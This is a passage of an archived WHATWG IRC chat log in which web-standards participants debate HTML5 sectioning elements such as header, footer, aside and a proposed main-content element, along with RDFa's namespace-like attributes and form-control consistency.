Hixie: It would because people seem to have a mental model of their content that splits it into distinct logical areas; "header", "content", "sidebar", "footer"

[03:34:02.0000] <Hixie>
i think we need hard data on how much of an issue this is, if we're going to add another element. we definitely don't want to be doing something quite as drastic if it's not a real problem.

[03:34:03.0000] <Hixie>
jgraham: pity we can't reuse <body>

[03:35:00.0000] <Hixie>
<sbody> (section body)

[03:35:01.0000] <annevk2>
Hixie, I think another look at some URLs of your 2005 webstats study could be sufficient

[03:35:02.0000] <Lachy>
Hixie, if we use the name <content>, then is the clash with the <content> element in XBL2 problematic as was suggested on the list?

[03:35:03.0000] <Hixie>
annevk2: i think we should take a random sample of html5gallery pages

[03:35:04.0000] <Hixie>
annevk2: and see how many do this wrong

[03:36:00.0000] <annevk2>
that also seems like a good idea, but checking what class=content is used for given http://code.google.com/webstats/2005-12/classes.html would also give a clue

[03:36:01.0000] <Hixie>
Lachy: yeah <content> is probably suboptimal.

[03:36:02.0000] <Hixie>
i kinda like <sbody>

[03:36:03.0000] <annevk2>
or class=main for that matter

[03:36:04.0000] <Hixie>
annevk2: i'm more interested in how big a problem it is, rather than how many sites used <div>s in this way

[03:37:00.0000] <zcorpan_>
i think <main> is a better name than <sbody> (unless header and footer are renamed to <shead> and <sfoot>)

[03:37:01.0000] <jgraham>
<sbody> isn't going to work. It will _really_ help if it is a simple english word that means "content" or "main"

[03:37:02.0000] <Hixie>
<main> doesn't work since there could be one per section

[03:37:03.0000] <jgraham>
I don't think that matters

[03:37:04.0000] <zcorpan_>
i think <content> is a better name than <sbody> too

[03:38:00.0000] <annevk2>
I'm not sure allowing <header> / <footer> anywhere else than <body> is a good idea either

[03:38:01.0000] <jgraham>
annevk2: I don't see why

[03:38:02.0000] <jgraham>
Why can't a blog post have a header?

[03:38:03.0000] <jgraham>
I agree that the <footer> content model should be changed to be the same as header

[03:38:04.0000] <Lachy>
annevk2, it is, because allowing sections to have additional introductory content in addition to the heading is useful

[03:39:00.0000] <jgraham>
In practice they are almost interchangable in the type of content they can contain

[03:39:01.0000] <Hixie>
<footer>'s content model has been the same as <header>'s for at least 30 minutes now

[03:39:02.0000] <zcorpan_>
jgraham: yes; frojd.se also has a "fat footer"

[03:39:03.0000] <Hixie>
keep up :-P

[03:39:04.0000] <zcorpan_>
oh

[03:39:05.0000] <Lachy>
cool

[03:39:06.0000] <Dashiva>
So RDFa doesn't actually use namespaces... yet they chose to use namespace-like attributes?

[03:39:07.0000] <jgraham>
Hixie: :p

[03:40:00.0000] <Dashiva>
Why would you do that

[03:40:01.0000] <annevk2>
to mislead the XML gods

[03:40:02.0000] <annevk2>
apparently it worked

[03:40:03.0000] <annevk2>
jgraham, the header of a section is way different from the header of a page

[03:40:04.0000] <annevk2>
jgraham, same for footer

[03:41:00.0000] <jgraham>
annevk2: Why? 

[03:42:00.0000] <Lachy>
annevk2, they will obviously contain different content, but conceptually and structurally, they are analogous

[03:42:01.0000] <Hixie>
ok so plan of attack for this section issue is to look at html5galley, and if it shows more than, say, 50% of a random sample of blog-like pages are doing this wrong, then we introduce a new element that is allowed only as a direct child of sectioning content, and only if the sectioning content only contains <header>, <footer>, this element, and/or heading content. (assuming that makes sense given the errors we see)

[03:42:02.0000] <zcorpan_>
annevk2: maybe the content models of <header> and <footer> should be sensitive to whether they're in <body> or in a nested section?

[03:42:03.0000] <Hixie>
seem reasonable?

[03:42:04.0000] <Hixie>
i think y'all are way too eager to change things, btw. leave <header> and <footer> alone already. they're fine. :-)

[03:42:05.0000] <Hixie>
(now)

[03:42:06.0000] <annevk2>
jgraham, for a page it gives the title of the weblog, tagline, navigation etc. whereas for <section> you would not have something equivalent I think

[03:43:00.0000] <annevk2>
jgraham, maybe for <article> but even there it is quite different imo

[03:43:01.0000] <zcorpan_>
Hixie: we should allow the new element in <body> too

[03:43:02.0000] <Lachy>
zcorpan_, no, making the content models contextually sensitive would be confusing for authors

[03:43:03.0000] <zcorpan_>
Lachy: yeah, probably

[03:43:04.0000] <annevk2>
Hixie, to be frank I'm not sure we studied this problem in as much detail as e.g. the parsing algorithm

[03:44:00.0000] <Lachy>
and it also wouldn't make sense. What exactly would you want to restrict from one or the other?

[03:44:01.0000] <Hixie>
zcorpan_: yes, and <body>.

[03:44:02.0000] <annevk2>
Hixie, which is why I think not everyone is quite so sure about it being ok

[03:44:03.0000] <zcorpan_>
Lachy: i would allow nested sections in body <footer> but not other <footer>s

[03:44:04.0000] <Hixie>
zcorpan_: <article> elements should be able to have colophons

[03:45:00.0000] <zcorpan_>
yeah

[03:45:01.0000] <Hixie>
ok well i'm going to bed now.

[03:46:00.0000] <Hixie>
hopefully the data fairies will do the study on the html5gallery data so i don't have to tomorrow :-P

[03:46:01.0000] <Hixie>
nn

[03:47:00.0000] <zcorpan_>
/me is not a data fairy today

[03:48:00.0000] <Lachy>
I will take a look later, no-one else does

[03:53:00.0000] <annevk2>
out of 8, I found 2 sites that used <section> in this way

[03:53:01.0000] <annevk2>
I also found one site that used <header> instead of <hgroup>

[03:53:02.0000] <annevk2>
and one site that used <article> instead of <section>

[03:54:00.0000] <Lachy>
we should drop hgroup anyway. It's unnecessary

[03:54:01.0000] <annevk2>
not sure I agree, but anyway, there are 142 sites and I don't have time right now

[03:55:00.0000] <annevk2>
if anyone starts I suggest a table in a wiki so it's easy for others to help out

[03:57:00.0000] <Lachy>
I've documented more of the polyglot checking issues. http://wiki.whatwg.org/wiki/Validator.nu_Useful_Warning_Requests#Polyglot_Document_Checking

[03:57:01.0000] <Lachy>
If anyone feels motivated to add more, feel free

[03:59:00.0000] <annevk2>
polyglot = boring

[03:59:01.0000] <annevk2>
(except when debated)

[04:00:00.0000] <Lachy>
annevk2, my reason for documenting all of this is so that when the issue is being discussed with people like Tantek and Zeldman who want the validator to check for such issues, we can point them there and get a concrete list of issues they want to have checked

[04:03:00.0000] <jgraham>
Sigh. The RDFa people are really trying to have their namespace cake and eat it too

[04:05:00.0000] <annevk2>
Mark Birbeck still does not understand either a) that we think ignoring the namespace of an attribute is wrong or b) that xmlns:<prefix> is in a namespace in XML

[04:05:01.0000] <annevk2>
And given that it has only been explained a 100 times before I guess that is perfectly reasonable...

[04:43:00.0000] <Lachy>
Hixie, http://www.w3.org/Bugs/Public/show_bug.cgi?id=7483 can now be resolved

[05:05:00.0000] <hsivonen>
Lachy: Making a section with foo invalid would be pain to WYSIWYG editors

[05:12:00.0000] <hsivonen>
I wonder if the RDFa TF was clear with the TAG that RDFa doesn't "use namespaces"

[05:13:00.0000] <Philip`>
getElementsByTagName+lookupNamespaceURI is "not standard DOM methods"?

[05:15:00.0000] <jgraham>
/me is bemused

[05:15:01.0000] <hsivonen>
Philip`: context?

[05:16:00.0000] <hsivonen>
/me sees it now

[05:17:00.0000] <hsivonen>
Philip`: fwiw, the way lookupNamespaceURI is defined makes it theoretically brittle for RDFa-in-XML

[05:17:01.0000] <hsivonen>
Philip`: in the case of synthetic DOMs

[05:18:00.0000] <Lachy>
hsivonen, yeah, I also realised it wouldn't catch many cases where authors do things wrongly anyway

[05:18:01.0000] <hsivonen>
Philip`: lookupNamespaceURI looks at frozen element node namespace/prefix bindings in addition to looking at namespace declarations

[05:18:02.0000] <Philip`>
(The getNamespaces method seems to be non-standard, but you don't need that to do lookups)

[05:18:03.0000] <hsivonen>
Philip`: W3C specs say the darnest things

[05:19:00.0000] <Lachy>
In what way does RDFa not use namespaces?

[05:20:00.0000] <Lachy>
what's the point of them using xmlns and prefixes if they don't?

[05:21:00.0000] <Philip`>
I guess the point is to be compatible with XML Namespaces syntax (and nothing else matters)

[05:21:01.0000] <hsivonen>
Lachy: http://krijnhoetmer.nl/irc-logs/whatwg/20090904#l-414

[05:21:02.0000] <jgraham>
Lachy: Mark Birbeck's position appears to be that they use namespace syntax but must not be processed in a namespace-aware way

[05:22:00.0000] <Dashiva>
So why use the namespace syntax then?

[05:22:01.0000] <Lachy>
hmm, ok. Is that because they do that weird thing where they just prefix the namespace URI to the localname?

[05:22:02.0000] <Philip`>
jgraham: I don't remember anyone suggesting "must not", just "does not have to (but can if you've got a suitable API; it doesn't matter as long as you get the same result from the same syntax)"

[05:23:00.0000] <jgraham>
Philip`: "The original objection was that different processing is required for

[05:23:01.0000] <jgraham>
different DOMs, and I think we've shown that's not the case; all that

[05:23:02.0000] <jgraham>
is required is to iterate through the list of atttributes, and pull

[05:23:03.0000] <jgraham>
out those that begin "xmlns:"."

[05:23:04.0000] <jgraham>
As far as I can tell the only way to make sense of that would be to forbid using namespace aware processors

[05:24:00.0000] <Philip`>
jgraham: (Some) namespace aware processors let you iterate through the list of attributes and pull out xmlns:*

[05:24:01.0000] <hsivonen>
Lachy: the RDFa TF is programming with namespace-unaware tools (Mark Birbeck: IE, Shane: the perl lib, Ivan Herman: Python minidom)

[05:24:02.0000] <Philip`>
e.g. web browser DOMs do

[05:24:03.0000] <Philip`>
jgraham: so they still satisfy that requirement

[05:25:00.0000] <hsivonen>
Lachy: whereas people here are programming with libraries whose authors have drank the Infoset kool aid

[05:25:01.0000] <hsivonen>
Lachy: hence, diffent world views

[05:25:02.0000] <hsivonen>
*different

[05:25:03.0000] <zcorpan_>
we should see the light and stop caring about namespaces and namespace-aware APIs

[05:26:00.0000] <Dashiva>
I just don't get it. If they aren't using namespaces, why use the one set of attributes that cause trouble?

[05:28:00.0000] <jgraham>
Dashiva: Presumably because it scores brownie points with TAG

[05:28:01.0000] <Philip`>
Dashiva: Because it doesn't cause trouble

[05:28:02.0000] <Philip`>
(when you use namespace-unaware APIs)

[05:29:00.0000] <Dashiva>
jgraham: Nice order of constituencies :)

[05:29:01.0000] <Philip`>
and because it can reuse the normal xmlns processing model, rather than having to define its own that's almost identical but slightly different

[05:29:02.0000] <jgraham>
Philip`: Neither does a mechanism that doesn't cause trouble when you _do_ use namespace aware APIs

[05:29:03.0000] <Philip`>
(and thus avoid reinventing wheels)

[05:30:00.0000] <Dashiva>
processing model?

[05:30:01.0000] <Dashiva>
You mean doing a string split on :?

[05:31:00.0000] <jgraham>
/me isn't sure what Philip` means by "xmlns processing model" but Mark has explicitly stated that authors are expected to keep track of prefixes at the application level, independent of the ns machanisms

[05:32:00.0000] <Philip`>
jgraham: I just mean the definition of what namespace bindings are in scope at a particular element, which is (I'd hope) defined in the Namespaces spec and so RDFa just references that instead of redefining it (even if practical implementations will reimplement it)

[05:36:00.0000] <jgraham>
Philip`: It seems highly misleading to imply that processing happens per xmlns when in fact you are actually required to ignore xmlns and do your own prefix binding processing

[05:36:01.0000] <Philip`>
jgraham: You're not required to ignore it, you could do it with lookupNamespaceURI if you wanted

[05:37:00.0000] <Philip`>
and the result is equivalent to the normal proper xmlns processing

[05:38:00.0000] <Philip`>
(though it's sufficient (but not necessary) to just have an API that exposes a list of namespace-unaware attributes per element)

[05:39:00.0000] <hsivonen>
Dashiva: it's politically expedient in the W3C to use namespace-looking syntax. It gets you an applause even if you break the XML architecture all over.

[05:39:01.0000] <hsivonen>
Dashiva: remember the aria:foo debate

[05:40:00.0000] <Dashiva>
Will we ever learn?

[05:40:01.0000] <Philip`>
/me goes away

[05:45:00.0000] <Lachy>
This appears to be the first suggestion for renaming <sidebar> to <aside> http://lists.whatwg.org/pipermail/whatwg-whatwg.org/2005-March/003355.html

[05:45:01.0000] <Lachy>
I can't see much discussion about the name itself, but the next e-mail I found that mentions it simply refers to it as though it's already in the spec

[05:53:00.0000] <hsivonen>
FWIW, I thought <aside> was for callouts foremost

[06:00:00.0000] <Lachy>
hsivonen, it's primary usecase seems to have shifted. <sidebar> was introduced to address the common case of <div id="sidebar">, then adjusted to also address callouts as being tangentially related content

[06:00:01.0000] <Lachy>
and then renamed to <aside> based on that

[06:07:00.0000] <jgraham>
FWIW <header> <footer> <content> and <sidebar> make sense as "structural" elements to me. <aside> or <callout> seems more like <section>

[06:10:00.0000] <jgraham>
More specifically, I would expect <sidebar><nav></nav></sidebar> to increment the heading depth by 1 whereas I would expect <aside><nav> to increment the heading depth by 2

[06:12:00.0000] <Lachy>
if we make <aside> inappropriate for page sidebars, then I would change it so that it's no longer a sectioning element

[06:13:00.0000] <Lachy>
and I would expect <sidebar> to be a sectioning element.

[06:15:00.0000] <jgraham>
Lachy: That is quite the opposite of what I would expect. Typically a sidebar doesn't have an overall heading but might contain several sections with headings e.g. <nav><h1>Archives <section><h1>Tags and so on

[06:15:01.0000] <Lachy>
so, e.g. on my site, I would do <sidebar><h1>Other Resources</h1> <section><h1>Friends</h1>...</section> <section><h1>HTML5 Stuff</h1> ...</section>

[06:15:02.0000] <jgraham>
Whereas a pullout box can often have a heading

[06:16:00.0000] <jgraham>
Lachy: Why not just use <nav> if it is purely links?

[06:16:01.0000] <Lachy>
because it's a sidebar. On my blog (when it was using the same template) it also contained the search form

[06:18:00.0000] <Lachy>
(maybe the individual <section> elements in what I wrote above could use <nav> though)

[06:19:00.0000] <Lachy>
if we fixed the sectioning algorithm as you previously suggested, so that sections without a heading don't affect the heading level, then it wouldn't be a problem.

[06:19:01.0000] <jgraham>
Lachy: True

[06:22:00.0000] <karlushi>
I have a tendency to classify elements like this: structure (p, ul, …) / semantic (q, cite, title, …) / functional (form, div, span, …)

[06:23:00.0000] <hsivonen>
karlushi: interesting categorization of div and span :-)

[06:24:00.0000] <karlushi>
hsivonen: yes, my reasoning is that their only purpose is that you need to attached something else to it which gives their intended meaning.

[06:26:00.0000] <karlushi>
The discussion around elements such as footer, header, etc. "bothers" me a little bit, because they seem awkward when things like <ads> or <logo> are not taken into account. But I'm not sure how to rationalize why it bothers me.

[06:26:01.0000] <erlehmann>
karlushi, is a list not semantic ? maybe you mean text-level-semantics ?

[06:26:02.0000] <erlehmann>
<ads> ahaha oh hwow

[06:27:00.0000] <karlushi>
erlehmann, a list can be of many types :) from shoping list to do list

[06:27:01.0000] <karlushi>
s/to do/to todo/

[06:27:02.0000] <erlehmann>
i can see it coming "implementors MUST provide a config option to disable rendering of <ad> elements"

[06:27:03.0000] <karlushi>
erlehmann, ;)

[06:28:00.0000] <erlehmann>
karlushi, lists are inherently semantic. that is why we have ordered and unordered and definition lists, to cater to that.

[06:29:00.0000] <karlushi>
that would be a nice and interesting side effects on the whole system. A bit like in magazine in France where publishers have to flag ads which are written like articles :)

[06:30:00.0000] <erlehmann>
karlushi, you always have to take the real-world into account. while things such as @autoplay can be there just to disable them, no one would use <ad> elemetns.

[06:30:01.0000] <karlushi>
erlehmann, depends on the definition of semantics. :) let's change the terms: Structure (list, paragraph, headers, sections, etc.)  and Meaning (poem, dialogs, quotes, etc.)

[06:31:00.0000] <karlushi>
real world is not a good argument as everything is always real. The rest is cultural, economic context. :)

[06:32:00.0000] <erlehmann>
karlushi, i dialog is a special type of ordered list.

[06:33:00.0000] <karlushi>
erlehmann: yes. ordered list: a text *structure* which can have the *meaning* of a dialog

[06:35:00.0000] <erlehmann>
karlushi, i dont get the finer points of your statements. speak easy

[06:43:00.0000] <Lachy>
Interestingly, the first suggestion for a <content> element I've found came from Hixie in 2004 http://lists.whatwg.org/pipermail/whatwg-whatwg.org/2004-August/002114.html

[06:44:00.0000] <hsivonen>
grr. that page triggers an elusive Necko bug

[06:45:00.0000] <Lachy>
Necko bug?

[06:45:01.0000] <Philip`>
hsivonen: "defer to the HTML5 rules for determining the language of a node" - http://html5.digitalbazaar.com/specs/rdfa.html#specifying-the-language-for-a-literal sounds like it's trying to defer to the HTML5 definition, so I don't think that's an especially controversial idea (though the details might be fuzzy in that spec)

[06:45:02.0000] <hsivonen>
Philip`: ah cool. Manu fixed the draft.

[06:46:00.0000] <Lachy>
hsivonen, what's the Necko bug? That page works fine for me in Minefield

[06:46:01.0000] <hsivonen>
Lachy: sometimes when reading WHATWG archives, Necko claims that the server sent bogus gzip data

[06:47:00.0000] <Philip`>
hsivonen: Hmm, I thought it always said that

[06:47:01.0000] <Lachy>
ah, like this "Content Encoding Error" I get in Minefield on this page? http://lists.whatwg.org/pipermail/whatwg-whatwg.org/2005-April/003377.html)

[06:47:02.0000] <hsivonen>
Lachy: yes

[06:47:03.0000] <Philip`>
(i.e. since a few days ago when it was published)

[06:47:04.0000] <Lachy>
hsivonen, is there a bug filed about that in bugzilla?

[06:48:00.0000] <hsivonen>
Lachy: http://lists.whatwg.org/pipermail/whatwg-whatwg.org/2004-August/002114.html

[06:48:01.0000] <Lachy>
I think I've manged to track down sufficient information about the history of <sidebar> and <aside> now. Mail sent.

[06:49:00.0000] <Lachy>
hsivonen, yeah, that's the link I posted above. What about it?

[06:50:00.0000] <hsivonen>
Lachy: oops. sorry. clipboard problem.

[06:50:01.0000] <hsivonen>
https://bugzilla.mozilla.org/show_bug.cgi?id=501953

[07:10:00.0000] <jgraham>
I guess <figure>-as-<aside> might even make more sense than the current model

[07:10:01.0000] <jgraham>
Although I am increasingly unhappy with the whole sectioning root thing

[07:11:00.0000] <beowulf>
what bruce lawson describes as an aside seems to me tobe a section with a singular style in his design

[07:14:00.0000] <jgraham>
I think <figure>-as-<aside> would workj if you could do <figure><legend><h1>Box A</h1> and have it appear in the outline of the main document, but the complexity of that just made my head explode

[07:14:01.0000] <Lachy>
figure-as-aside doesn't make that much sense to me.  I perceive <figure> for the kind of things that would typically be labelled "Figure #. Caption..." in a book, like images, tables, code fragments, etc.

[07:14:02.0000] <Philip`>
Can we just get rid of all these structural elements?

[07:14:03.0000] <Lachy>
no

[07:14:04.0000] <Philip`>
Hmph

[07:15:00.0000] <jgraham>
Lachy: Agreed that the name doesn't really work

[07:15:01.0000] <jgraham>
But the spec-wide definition does

[07:15:02.0000] <jgraham>
*wise

[07:16:00.0000] <Lachy>
I'd rather we keep <figure> as is, make <aside> for pullouts only, rather than sidebars, and introduce <sidebar> to replace the common cases of <div id="sidebar">, <div class="right">, etc.

[07:16:01.0000] <jgraham>
Lachy: I think that is my prefered solution too. But I could live with dual purposing figure

[07:16:02.0000] <jgraham>
(Note the definition is "The figure element represents some flow content, optionally with a caption, that is self-contained and is typically referenced as a single unit from the main flow of the document.")

[07:17:00.0000] <Lachy>
jgraham, if we dual-purpose <figure>, would you introduce <sidebar> or keep <aside> for that?

[07:17:01.0000] <lazymanc>
I'd prefer a defined list of roles and just using <div role="sidebar"> etc

[07:17:02.0000] <jgraham>
<sidebar>

[07:17:03.0000] <Lachy>
agreed.

[07:18:00.0000] <Lachy>
lazymanc, no, that makes styling more difficult for authors since it requires the less commonly used attribute selectors that not all authors are familiar with, and which IE still doesn't support.

[07:19:00.0000] <Lachy>
oh, actually, they were CSS2, so it might

[07:20:00.0000] <Philip`>
/me forgot to mention xmlns:xml and xmlns:xmlns in his latest email

[07:20:01.0000] <Lachy>
yep, IE8 does support them.

[07:20:02.0000] <lazymanc>
IE doesn't support <sidebar> <header> <footer> etc though

[07:20:03.0000] <Lachy>
there's a simple workaround to make IE parse those elements reasoanbly, and styling them isn't much of a problem

[07:20:04.0000] <Philip`>
Are there any more cases that are well-formedness errors in XML/Namespaces, where a non-XML processor would need special rules?

[07:21:00.0000] <lazymanc>
if you're writing a spec for the future obviously you've got to take into account backwards compat, but you're going to introduce stuff that's not supported by the vendors yet

[07:22:00.0000] <lazymanc>
I'd like to see textarea and select as input types

[07:22:01.0000] <lazymanc>
for consistency and ease of styling

[07:22:02.0000] <lazymanc>
obviously keeping the old tags for backwards compat

[07:23:00.0000] <Lachy>
lazymanc, not going to happen, and it's not clear how using <input> would make styling any easier for them

[07:25:00.0000] <lazymanc>
Lachy: well say you want to set a default font style / colour for all your inputs, input { // foo: bar; } is quicker and easier to remember than input, textarea, select { foo: bar; }

[07:26:00.0000] <Philip`>
How would parsing work?

[07:26:01.0000] <AryehGregor>
Same as it works now . . .

[07:26:02.0000] <Philip`>
<input type=text value=foo> vs <input type=textarea>foo</input> ?

[07:26:03.0000] <Philip`>
vs <input type=select><option>...</input> ?

[07:26:04.0000] <AryehGregor>
The philosophy in HTML 5 has generally been to not introduce new elements solely for greater future consistency.

[07:27:00.0000] <AryehGregor>
Hmm, that would make <input> a non-void element, you're right.

[07:27:01.0000] <lazymanc>
what's wrong with <input type="textarea" value="some content" />

[07:27:02.0000] <Lachy>
Philip`, it wouldn't work for type=select, but presumably type=textara could just be limited to the value attribute, which isn't such a good idea anyway

[07:27:03.0000] <Philip`>
lazymanc: That's hard to use when you've got multiple lines of content

[07:28:00.0000] <AryehGregor>
lazymanc, it's identical to <textarea>.  HTML 5 doesn't usually introduce new features that are identical to existing features for the sake of consistency.

[07:28:01.0000] <AryehGregor>
Arguably that would be a good move.

[07:28:02.0000] <Philip`>
since you'd have to encode newlines as &#9; or something I guess

[07:28:03.0000] <AryehGregor>
Hmm, that's a good point.

[07:28:04.0000] <AryehGregor>
&#a;.  :)

[07:28:05.0000] <AryehGregor>
In this case there's actually a good reason to not have it be <input>.

[07:28:06.0000] <lazymanc>
AryehGregor: I would argue that it should, we should fix the inconsistencies while we have the chance to benefit future content authors

[07:28:07.0000] <Philip`>
AryehGregor: &#xa; :-P

[07:28:08.0000] <lazymanc>
at least while it doesn't cause problems with BC

[07:29:00.0000] <AryehGregor>
Er, right, or &#10;.

[07:29:01.0000] <Philip`>
/me knows CRLF=0D0A, so he's not sure how he arrived at &#9;

[07:29:02.0000] <Lachy>
lazymanc, we don't really have a chance to fix this now, and your proposed "fix" has already been demonstrated to be flawed.

[07:29:03.0000] <AryehGregor>
lazymanc, we could reasonably do something like require UAs to support the feature, but make it invalid markup.  And then later, when all UAs support the feature, make the old feature non-conforming (but keep it specced).

[07:30:00.0000] <AryehGregor>
But it seems the important people don't want to do that.

[07:31:00.0000] <Philip`>
lazymanc: We can't remove support for old syntax, and can't remove old content that uses it (and tutorials and editors etc), so adding new 'consistent' syntax for the same features will just result in the language being twice as large and even more inconsistent

[07:31:01.0000] <lazymanc>
Lachy: i'm not saying that's the way it has to be done, i'm sure there are alternatives

[07:31:02.0000] <AryehGregor>
E.g., require UAs to support <style src="foo"></style>, but make it non-conforming.  Then 15 years from now when all UAs anyone uses support that, make it conforming and make <link rel=stylesheet> nonconforming.

[07:31:03.0000] <AryehGregor>
Philip`, not in the long term, though.  In the long term you could eventually make the old way of doing it nonconforming.

[07:31:04.0000] <AryehGregor>
Then the conforming part of the language would be just as small and more consistent.

[07:31:05.0000] <lazymanc>
I'm not suggesting removing <textarea> and <select>, just to have the option of <input type="textarea" and then maybe depreciating <textarea> at some point down the line

[07:32:00.0000] <Lachy>
lazymanc, you wanted a solution using the <input> element, and there isn't one. The only other alternative is to use another element, which we already do. So problem solved.

[07:32:01.0000] <Philip`>
AryehGregor: Then the conforming part of the language wouldn't correspond to existing content, or to existing tutorials etc, so it'd become even more confusing

[07:32:02.0000] <AryehGregor>
lazymanc, value="" is annoying for multiline input.

[07:32:03.0000] <AryehGregor>
Philip`, that's already the case.

[07:32:04.0000] <AryehGregor>
And will be whenever old content is made non-conforming.

[07:32:05.0000] <AryehGregor>
Hmm, well.

[07:32:06.0000] <lazymanc>
AryehGregor: agreed, is there a reason the input element cannot be optionally void?

[07:32:07.0000] <AryehGregor>
I guess HTML 5 actually doesn't tend to remove stupid things people were formerly advised to do.

[07:32:08.0000] <AryehGregor>
Like xmlns and /> and whatever.

[07:33:00.0000] <AryehGregor>
So scratch what I said.

[07:33:01.0000] <Philip`>
AryehGregor: Sure, but it's something that should be minimised, by avoiding making things non-conforming just for the sake of consistency

[07:33:02.0000] <AryehGregor>
lazymanc, no element in the HTML syntax is optionally void.

[07:33:03.0000] <AryehGregor>
Philip`, I see your point.  It's pretty annoying, though.

[07:33:04.0000] <Philip`>
AryehGregor: HTML is pretty annoying :-)

[07:33:05.0000] <Lachy>
lazymanc, yes, because it would make parsing dependent on the value of an attribute, which means feeding back information from the tree construction to the tokenisation stage

[07:33:06.0000] <AryehGregor>
Just because we acknowledge that pragmatically we have to support old content, that doesn't mean we have to *totally* give up on making the language nicer in the long term.

[07:34:00.0000] <AryehGregor>
Lachy, c'mon, that's not half as horrible as a lot of things HTML parsers have to do anyway.  :)

[07:34:01.0000] <Lachy>
actually, no, that's wrong

[07:34:02.0000] <Philip`>
I think the usual response to people wanting to make the language cleaner was "you should join the XHTML2 WG", but that response is not going to work any more :-/

[07:34:03.0000] <AryehGregor>
But it would *decrease* consistency to have exactly one optionally void element.

[07:34:04.0000] <Philip`>
Parsing is already dependent on the value of an attribute

[07:34:05.0000] <AryehGregor>
Philip`, sure it will, it will be even more cutting!

[07:34:06.0000] <Philip`>
because of <input type=hidden> in foster-parented table content

[07:35:00.0000] <Lachy>
Philip`, in this case, I don't think lazymanc would like that anyway, since XHTML2 uses XForms, and they make the problem worse by replacing <input> with new elements for all new controls

[07:36:00.0000] <Lachy>
AryehGregor, the argument that HTML5 parsers already have to do a lot of horrible things is not a reason to make it do more horrible things

[07:36:01.0000] <AryehGregor>
Sure.

[07:42:00.0000] <lazymanc>
ok so I agree that there are problems with the suggested fixes, it's just annoying that with new input types being added, these two existing ones can't be bent into shape

[07:46:00.0000] <Philip`>
The language is like a paperclip

[07:46:01.0000] <Philip`>
It's bent, but if you try to bend it more to straighten it out, it'll end up with an infuriating little wobble in the middle instead of actually being straight, and if you try enough times it'll snap in half

[07:46:02.0000] <Philip`>
/me isn't sure this is the best analogy :-(

[07:50:00.0000] <lazymanc>
Philip`: it's pretty good

[07:51:00.0000] <lazymanc>
with regards to BC, will the new elements be ignored by older browsers without support?

[07:51:01.0000] <Lachy>
lazymanc, what are you using "BC" to stand for?

[07:52:00.0000] <lazymanc>
or will using html5 elements actually break the rendering? Lachy: backwards compatibility 

[07:52:01.0000] <Lachy>
ah

[07:53:00.0000] <Lachy>
lazymanc, it depends what you mean by "break the rendering". If you're not careful, the elements won't have the correct default style.  e.g. you need to specify display: block for the new sectioning elements

[07:54:00.0000] <Lachy>
and you also need to make sure you explicitly close <p> elements with </p> if it precedes one of the new sectioning elements like <section>

[07:54:01.0000] <Lachy>
but their presence in the DOM won't inherently break things

[07:54:02.0000] <lazymanc>
Lachy: ok thanks

[08:01:00.0000] <hsivonen>
Hixie: bz says the server for the WHATWG archives is buggy: https://bugzilla.mozilla.org/show_bug.cgi?id=501953#c10

[08:08:00.0000] <Lachy>
hsivonen, should the second response from the server also be gzipped?

[08:10:00.0000] <hsivonen>
Lachy: I expect so

[09:38:00.0000] <Philip`>
annevk3: http://philip.html5.org/data/charsets-2.html exists though I have no idea how correct it is

[09:39:00.0000] <Philip`>
(Particularly the error percentages seem totally bogus)

[09:40:00.0000] <Philip`>
(and also there's no meta-sniffer data, because it took ages and the machine on which I ran the SSH session to the machine running the analysis died so it stopped halfway through)

[13:11:00.0000] <Hixie>
hah, now zeldman is claiming credit for the <footer> change

[13:11:01.0000] <Hixie>
even though it was made in response to unrelated feedback

[13:14:00.0000] <miketaylr>
Hixie: i saw that too

[13:20:00.0000] <Lachy>
hsivonen, yt?

[13:21:00.0000] <Lachy>
hsivonen, I found a bug in your HTML5 parser in Gecko relating to <textarea> followed by LFs

[13:21:01.0000] <Lachy>
I will file a bug shortly

[14:33:00.0000] <Lachy>
Hixie, was <footer> changed based on e-mails that were sent months ago?

[14:34:00.0000] <Hixie>
iirc it was based on an e-mail that was a reply to maciej's, influenced by the feedback from a few months ago, yes

[14:40:00.0000] <Lachy>
wow, I don't understand JF's latest complaint about IRC discussions

[14:41:00.0000] <Lachy>
the discussion he linked to from earlier today clearly didn't reach any conclusions or cause any relevant spec changes

[14:47:00.0000] <othermaciej>
Lachy: where is his complaint to be found?

[14:48:00.0000] <Lachy>
http://lists.w3.org/Archives/Public/public-html/2009Sep/0267.html

[14:57:00.0000] <Dashiva>
Lachy: Not to mention the IRC logs are posted publicly

[15:00:00.0000] <Lachy>
Dashiva, I think he's made the assumption that because there wasn't much discussion about the name change from sidebar to aside, that it must have occured on IRC

[15:00:01.0000] <Hixie>
wait, isn't JF one of the members of the html4all self-styled cabal?

[15:00:02.0000] <Lachy>
yes

[15:00:03.0000] <Hixie>
and he's complaining about us talking in public on irc?

[15:00:04.0000] <Lachy>
yes

[15:00:05.0000] <Hixie>
i'm gonna need a new irony meter

[15:01:00.0000] <Hixie>
my current one is just a consumer model

[15:01:01.0000] <Hixie>
i need the advanced "prosumer" version

[15:01:02.0000] <Hixie>
with the extended gague

[15:01:03.0000] <Hixie>
god i hate that word

[15:01:04.0000] <Hixie>
Cannot Spell Gague

[15:01:05.0000] <Hixie>
GAUGE

[15:01:06.0000] <Hixie>
GAH

[15:02:00.0000] <Lachy>
they're aware of the irony of the situation. I think they justify the secrecy so that they can discuss issues without worrying about anything they write being ridiculed in any way

[15:02:01.0000] <Hixie>
well it's a good thing we don't mind being ridiculed :-)

[15:02:02.0000] <Lachy>
I think that's why they stopped using their public html4all list and migrated to the private list

[15:03:00.0000] <Dashiva>
Let's make it <rouge> instead

[15:03:01.0000] <TabAtkins>
It sounds trite, but if you're afraid of being ridiculed, you're probably being ridiculous.

[15:03:02.0000] <TabAtkins>
/me has bad memories of all the rouges sneak-attacking people.

[15:04:00.0000] <TabAtkins>
It just embarassing when you get knifed by a *color*.

[15:04:01.0000] <Dashiva>
The upside is that nobody will get it wrong

[15:05:00.0000] <TabAtkins>
What, 'cause they'll all assume it was meant to be <rogue>, then mistype it as <rouge> anyway?

[15:05:01.0000] <Hixie>
hah

[15:05:02.0000] <Dashiva>
TabAtkins: That's half the users. The other half just know how to spell.

[15:06:00.0000] <TabAtkins>
Ah, clever.  Get it from both sides.

[15:06:01.0000] <Hixie>
I'm writing an e-mail about <meter>

[15:06:02.0000] <Dashiva>
It's too bad the name has nothing to do with gauges

[15:06:03.0000] <Hixie>
and i've mistyped the word "gauge" about 50 times so far

[15:07:00.0000] <Lachy>
Hixie, Irony Level: <meter class="irony" min=0 max=1000 low=0 high=100 optimum=50>999%</meter>

